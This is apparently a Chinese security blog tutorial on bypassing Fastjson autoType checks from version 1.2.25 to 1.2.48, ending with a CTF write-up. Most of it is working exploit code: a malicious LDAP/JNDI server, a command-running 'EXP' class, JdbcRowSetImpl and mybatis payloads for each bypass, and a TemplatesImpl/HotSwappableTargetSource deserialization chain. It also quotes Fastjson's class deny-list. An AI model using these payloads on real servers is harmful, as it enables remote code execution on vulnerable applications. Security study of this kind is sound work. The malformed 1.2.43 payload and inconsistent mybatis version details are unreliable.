Fastjson高版本绕过
本文最后更新于 2 天前,其中的信息可能已经有所发展或是发生改变。

fastjson1.2.4x绕过

1.2.25–1.2.41

我们可以看到在1.2.25版本中fastjson对直接加载

引入了checkAutoType安全机制

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
      if (typeName == null) {
          return null;
      }

      if (typeName.length() >= 128) {
          throw new JSONException("autoType is not support. " + typeName);
      }

      final String className = typeName.replace('$', '.');
      Class<?> clazz = null;

      if (autoTypeSupport || expectClass != null) {
          for (int i = 0; i < acceptList.length; ++i) {
              String accept = acceptList[i];
              if (className.startsWith(accept)) {
                  clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                  if (clazz != null) {
                      return clazz;
                  }
              }
          }

          for (int i = 0; i < denyList.length; ++i) {
              String deny = denyList[i];
              if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
                  throw new JSONException("autoType is not support. " + typeName);
              }
          }
      }

      if (clazz == null) {
          clazz = TypeUtils.getClassFromMapping(typeName);
      }

      if (clazz == null) {
          clazz = deserializers.findClass(typeName);
      }

      if (clazz != null) {
          if (expectClass != null
                  && clazz != java.util.HashMap.class
                  && !expectClass.isAssignableFrom(clazz)) {
              throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
          }

          return clazz;
      }

      if (!autoTypeSupport) {
          for (int i = 0; i < denyList.length; ++i) {
              String deny = denyList[i];
              if (className.startsWith(deny)) {
                  throw new JSONException("autoType is not support. " + typeName);
              }
          }
          for (int i = 0; i < acceptList.length; ++i) {
              String accept = acceptList[i];
              if (className.startsWith(accept)) {
                  if (clazz == null) {
                      clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                  }

                  if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                      throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                  }
                  return clazz;
              }
          }
      }

用于标识是否可以开启任意类型的反序列化,默认关闭,同样其他的也都加入了黑名单和白名单

此处增加了黑名单检测,同时优先加载白名单

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

其中跟进loadclass方法后,可以看到增加了验证逻辑

所以我们需要手动打开Autotype

LDAP

package json_dome;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;

public class fastjson_LDAP_poc1 {
  private static final String LDAP_BASE = "dc=example,dc=com";

  public static void main(String[] args) {
      // 使用带 # 的 URL
      String codebase = "http://127.0.0.1:8888/#EXP";
      int port = 9999;

      if (args.length > 0) {
          codebase = args[0];
      }

      try {
          InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
          config.setListenerConfigs(new InMemoryListenerConfig(
                  "listen",
                  InetAddress.getByName("0.0.0.0"),
                  port,
                  ServerSocketFactory.getDefault(),
                  SocketFactory.getDefault(),
                  (SSLSocketFactory) SSLSocketFactory.getDefault()));

          config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(codebase)));
          InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
          System.out.println("Listening on 0.0.0.0:" + port);
          System.out.println("Codebase: " + codebase);
          ds.startListening();
      } catch (Exception e) {
          e.printStackTrace();
      }
  }

  private static class OperationInterceptor extends InMemoryOperationInterceptor {
      private URL codebase;

      public OperationInterceptor(URL cb) {
          this.codebase = cb;
      }

      @Override
      public void processSearchResult(InMemoryInterceptedSearchResult result) {
          String base = result.getRequest().getBaseDN();
          System.out.println("=== LDAP Server: Received request for base: " + base + " ===");

          Entry e = new Entry(base);
          try {
              sendResult(result, base, e);
              System.out.println("=== LDAP Server: Response sent successfully ===");
          } catch (Exception e1) {
              System.err.println("=== LDAP Server: Error sending response ===");
              e1.printStackTrace();
          }
      }

      protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
              throws Exception {

          // 获取类名(# 后面的部分)
          String className = this.codebase.getRef();
          System.out.println("Extracted class name: " + className);

          if (className == null || className.isEmpty()) {
              // 如果没有 #,从路径中提取类名
              String path = this.codebase.getPath();
              if (path.contains("/")) {
                  className = path.substring(path.lastIndexOf('/') + 1);
                  // 去掉 .class 后缀(如果有)
                  if (className.endsWith(".class")) {
                      className = className.substring(0, className.length() - 6);
                  }
              } else {
                  className = path;
              }
              System.out.println("Using class name from path: " + className);
          }

          // 构造类文件 URL
          String codebaseUrl = this.codebase.toString();
          int refPos = codebaseUrl.indexOf('#');
          if (refPos > 0) {
              codebaseUrl = codebaseUrl.substring(0, refPos);
          }

          // 确保 codebaseUrl 以 / 结尾
          if (!codebaseUrl.endsWith("/")) {
              codebaseUrl += "/";
          }

          URL classUrl = new URL(codebaseUrl + className.replace('.', '/') + ".class");
          System.out.println("Class URL: " + classUrl);
          System.out.println("CodeBase: " + codebaseUrl);
          System.out.println("Factory: " + className);

          // 设置 LDAP 条目属性
          e.addAttribute("javaClassName", "java.lang.String");
          e.addAttribute("javaCodeBase", codebaseUrl);
          e.addAttribute("objectClass", "javaNamingReference");
          e.addAttribute("javaFactory", className);

          result.sendSearchEntry(e);
          result.setResult(new LDAPResult(0, ResultCode.SUCCESS));

          System.out.println("=== LDAP Server: Sent reference for class: " + className + " ===");
      }
  }
}

恶意类EXP

package json_dome;

public class EXP {
  static {
      System.out.println("=== EXP Class Static Block Executed ===");
      try {

          Runtime.getRuntime().exec("open -a Calculator");
          System.out.println("=== Calculator command executed ===");


          Runtime.getRuntime().exec("touch /tmp/fastjson_success");

      } catch (Exception e) {
          System.err.println("=== Error executing command ===");
          e.printStackTrace();
      }
  }

  public EXP() {
      System.out.println("=== EXP Constructor Executed ===");
  }
}
javac EXP.java

POC

package json_dome;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class fastjson_poc1 {
  public static void main(String[] args) {
      ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
      String payload = String.format(
              "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
                      "\"dataSourceName\":\"ldap://127.0.0.1:9999/#EXP\"," +
                      "\"autoCommit\":true}"
      );
      JSON.parseObject(payload, Feature.SupportNonPublicField);
  }
}

1.2.42

此版本对黑白名单进行了修改

同时删除了开头L和结尾;

看到checkAutoType

 public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
      return checkAutoType(typeName, expectClass, JSON.DEFAULT_PARSER_FEATURE);
  }

  public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
      if (typeName == null) {
          return null;
      }

      if (typeName.length() >= 128 || typeName.length() < 3) {
          throw new JSONException("autoType is not support. " + typeName);
      }

      String className = typeName.replace('$', '.');
      Class<?> clazz = null;

      final long BASIC = 0xcbf29ce484222325L;
      final long PRIME = 0x100000001b3L;

      if ((((BASIC
              ^ className.charAt(0))
              * PRIME)
              ^ className.charAt(className.length() - 1))
              * PRIME == 0x9198507b5af98f0L)
      {
          className = className.substring(1, className.length() - 1);
      }

      final long h3 = (((((BASIC ^ className.charAt(0))
              * PRIME)
              ^ className.charAt(1))
              * PRIME)
              ^ className.charAt(2))
              * PRIME;

      if (autoTypeSupport || expectClass != null) {
          long hash = h3;
          for (int i = 3; i < className.length(); ++i) {
              hash ^= className.charAt(i);
              hash *= PRIME;
              if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                  clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                  if (clazz != null) {
                      return clazz;
                  }
              }
              if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                  throw new JSONException("autoType is not support. " + typeName);
              }
          }
      }

      if (clazz == null) {
          clazz = TypeUtils.getClassFromMapping(typeName);
      }

      if (clazz == null) {
          clazz = deserializers.findClass(typeName);
      }

      if (clazz != null) {
          if (expectClass != null
                  && clazz != java.util.HashMap.class
                  && !expectClass.isAssignableFrom(clazz)) {
              throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
          }

          return clazz;
      }

      if (!autoTypeSupport) {
          long hash = h3;
          for (int i = 3; i < className.length(); ++i) {
              char c = className.charAt(i);
              hash ^= c;
              hash *= PRIME;

              if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                  throw new JSONException("autoType is not support. " + typeName);
              }

              if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                  if (clazz == null) {
                      clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                  }

                  if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                      throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                  }

                  return clazz;
              }
          }

      }

      if (clazz == null) {
          clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
      }

      if (clazz != null) {
          if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
              return clazz;
          }

          if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                  || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                  ) {
              throw new JSONException("autoType is not support. " + typeName);
          }

          if (expectClass != null) {
              if (expectClass.isAssignableFrom(clazz)) {
                  return clazz;
              } else {
                  throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
              }
          }

          JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
          if (beanInfo.creatorConstructor != null && autoTypeSupport) {
              throw new JSONException("autoType is not support. " + typeName);
          }
      }

      final int mask = Feature.SupportAutoType.mask;
      boolean autoTypeSupport = this.autoTypeSupport
              || (features & mask) != 0
              || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

      if (!autoTypeSupport) {
          throw new JSONException("autoType is not support. " + typeName);
      }

      return clazz;
  }

从这可以看到变为匹配hash了

if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
  // 如果哈希值在接受的哈希值数组中,加载类
  clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
  if (clazz != null) {
      return clazz;
  }
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
  // 如果哈希值在拒绝的哈希值数组中,抛出异常
  throw new JSONException("autoType is not support. " + typeName);
}

我们跟到loadClass,看逻辑

if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

双写绕过,poc

{"
"\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
"\"autoCommit\":true"
"}

1.2.43

相比上一个版本,此版本对逻辑稍微进行了加固

修复了上一个版本的双写绕过的问题

增加新判断,增加了两个LL

final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;

if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}

第一段用于判断逻辑,对className的第一个和最后一个字符进行hash

第二段是更深层的hash验证, 进一步 hash 第一个+第二个字符,检测是够是黑名单payload

我们继续看loadclass

if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

POC

"{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,"+
"\"dataSourceName\":\"ldap://127.0.0.1:9999/#EXP\"," +
"\"autoCommit\":true}"

为什么能绕过呢?其实很明显这不是一个标准的JSON,它以"开始(字符串),然后嵌入了[{,按照正常来说,json解析器就会报错的

但是在fastjson中,尤其是1.2.43之前,在处理字符串时遇到"时,会优先尝试把其当做字符串解析,如果字符串中出现了[或{,fastjson不会马上报错的,所以他会继续往后扫描,直到看到一个结构结束

也就是说

JSON.parse("\"[com.sun.rowset.JdbcRowSetImpl\"[{");

这样的话,[{会被解析器当成一个新的结构,最后解析才会报错

注意,他不是成功解析了,而是在解析字符串和数组混合时进入了不确定状态

于是就骗过了解析器导致执行了危险代码

1.2.44

修复了使用[绕过黑名单防护的问题,所以利用字符串导致的绕过就不可行了

final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}

if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}

没法使用[进行绕过了

1.2.45

嘿,又爆出了新的黑名单绕过,可以通过外部依赖mybatis组件进行JNDI接口调用,加载恶意类(存在组件漏洞)

利用的类

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

正常我们所利用的条件是

目标服务端存在`mybatis`的jar包

版本需为 `3.x.x ~ 3.5.0`

autoTypeSupport属性为true才能使用

添加依赖

<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.6</version>

poc:

package json_dome;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class fastjson_poc1 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload =
"{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +
"\"properties\":{\"data_source\":\"ldap://127.0.0.1:9999/#EXPP\"}}";

JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}

1.2.47

此版本在不开启AutoTypeSupport情况下,可以进行反序列化利用

利用fastjson自带的缓存机制可以将恶意类加载到Mapping中,从而绕过check检测

我们去看源码

if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

这是当不开启autoTypeSupport的情况下,会从Mappingdeserializers中寻找类,若找到就会返回clazz

那么我们就可以利用这个来绕过黑名单检测,我们跟进TypeUtils#getClassFromMapping方法

从中获取类名,我们去找到put方法

TypeUtils#addBaseClassMappings
TypeUtils#loadClass

由于TypeUtils#addBaseClassMappings是一个无参方法所以就不看了,直接看到loadClass方法

 public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {

...
//对类名进行检查和判断
try{
//第一处,classLoader不为null
if(classLoader != null){
clazz = classLoader.loadClass(className);

//如果chche为true,则将我们输入的className缓存入mapping中
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

//第二处,检查较为严格
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);

//如果chche为true,则将我们输入的className缓存入mapping中
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}

//第三处,限制宽松,但
try{
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}

主要看处理缓存那一部分,我们发现cache 默认为 true,所以比较好写,然后在MiscCodec#deserialze中调用了loadClass方法

  if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

strVal即为我们要控制的className,跟进看看strVal如何赋值

最后跟进到

Object objVal;

//if判断默认为true
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);

if (lexer.token() == JSONToken.LITERAL_STRING) {

//必须有val属性
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);

//objVal的值为从JSON中解析到的val的值
objVal = parser.parse();

parser.accept(JSONToken.RBRACE);
} else {
objVal = parser.parse();
}

至此我们可以构造利用链

{
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.sun.rowset.JdbcRowSetImpl\""
}

其实解析后就相当于

Class<?> clazz = Class.forName("com.sun.rowset.JdbcRowSetImpl");

正好也满足了Class.clazz的条件,当我们手动写入恶意类后,就可以get到了

{
@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
dataSourceName\":\"ldap://127.0.0.1:9999/EXP\"," +
autoCommit\":true" +
}

poc

package json_dome;

import com.alibaba.fastjson.JSON;


public class poc2 {
public static void main(String[] args) {
String payload = "{" +
"\"s\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.sun.rowset.JdbcRowSetImpl\"" +
"}," +
"\"q\":{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\"," +
"\"autoCommit\":true" +
"}" +
"}";
JSON.parse(payload);


}
}

1.2.48

该版本将cache值默认值修改为了false,同时对TypeUtils#loadClass中第三处较为宽松的mapping.put做了限制

[西湖论剑 2022]easy_api NSS上面可以找到

下载附件得到war包,解压审源码,看依赖fastjson1.2.48

此题是利用fastjson中自动触发getter来getProperties加载字节码,其中getter可以通过JSON.parse触发,也可以通过toJSONString触发

而且JSON类的toString就是toJSONString

com.alibaba.fastjson.JSONObject.toString

可以用此来调用任意类的getter方法,但是需要HotSwappableTargetSource

readObject->hashmap.put
->xstring.tostring
->JSON.tostring
->templates.getproperties

poc

package controller;

import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;

public class toStringPoc {
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(Evil.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "Evil");
setFieldValue(templates, "_class", null);
JSONObject jsonObject = new JSONObject();
jsonObject.put("empty", templates);
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("sun"));
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
try{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(s);
System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())),"UTF-8"));
outputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇